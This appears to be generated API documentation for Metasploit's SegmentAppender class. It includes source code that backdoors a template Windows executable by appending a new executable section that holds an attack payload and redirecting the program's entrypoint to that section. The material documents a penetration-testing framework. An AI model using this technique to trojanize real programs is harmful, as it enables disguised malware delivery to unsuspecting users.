Class: Msf::Exe::SegmentAppender

Inherits:
SegmentInjector show all
Defined in:
lib/msf/core/exe/segment_appender.rb

Instance Attribute Summary

Attributes inherited from SegmentInjector

#arch, #buffer_register, #payload, #secname, #template

Instance Method Summary collapse

Methods inherited from SegmentInjector

#create_thread_stub, #create_thread_stub_x64, #create_thread_stub_x86, #dll_prefix, #initialize, #is_warbird?, #processor

Constructor Details

This class inherits a constructor from Msf::Exe::SegmentInjector

Instance Method Details

#generate_pe ⇒ Object 



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# File 'lib/msf/core/exe/segment_appender.rb', line 16

def generate_pe
  # Copy our Template into a new PE
  pe_orig = Metasm::PE.decode_file(template)
  pe = pe_orig.mini_copy

  # Copy the headers and exports
  pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
  pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
  pe.header.time = pe_orig.header.time

  # Don't rebase if we can help it since Metasm doesn't do relocations well
  pe.optheader.dll_characts.delete("DYNAMIC_BASE")

  # TODO: Look at supporting DLLs in the future
  prefix = ''

  # Create a new section
  s = Metasm::PE::Section.new
  if secname.blank?
    s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
  else
    s.name = '.' + secname.downcase
  end
  s.encoded = payload_stub prefix
  s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]

  pe.sections << s
  pe.invalidate_header

  # Change the entrypoint to our new section
  pe.optheader.entrypoint = 'new_entrypoint'
  pe.cpu = pe_orig.cpu

  pe.encode_string
end

#payload_stub(prefix) ⇒ Object 



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# File 'lib/msf/core/exe/segment_appender.rb', line 9

def payload_stub(prefix)
  # TODO: Implement possibly helpful payload obfuscation
  asm = "new_entrypoint:\n#{prefix}\n"
  shellcode = Metasm::Shellcode.assemble(processor, asm)
  shellcode.encoded + @payload
end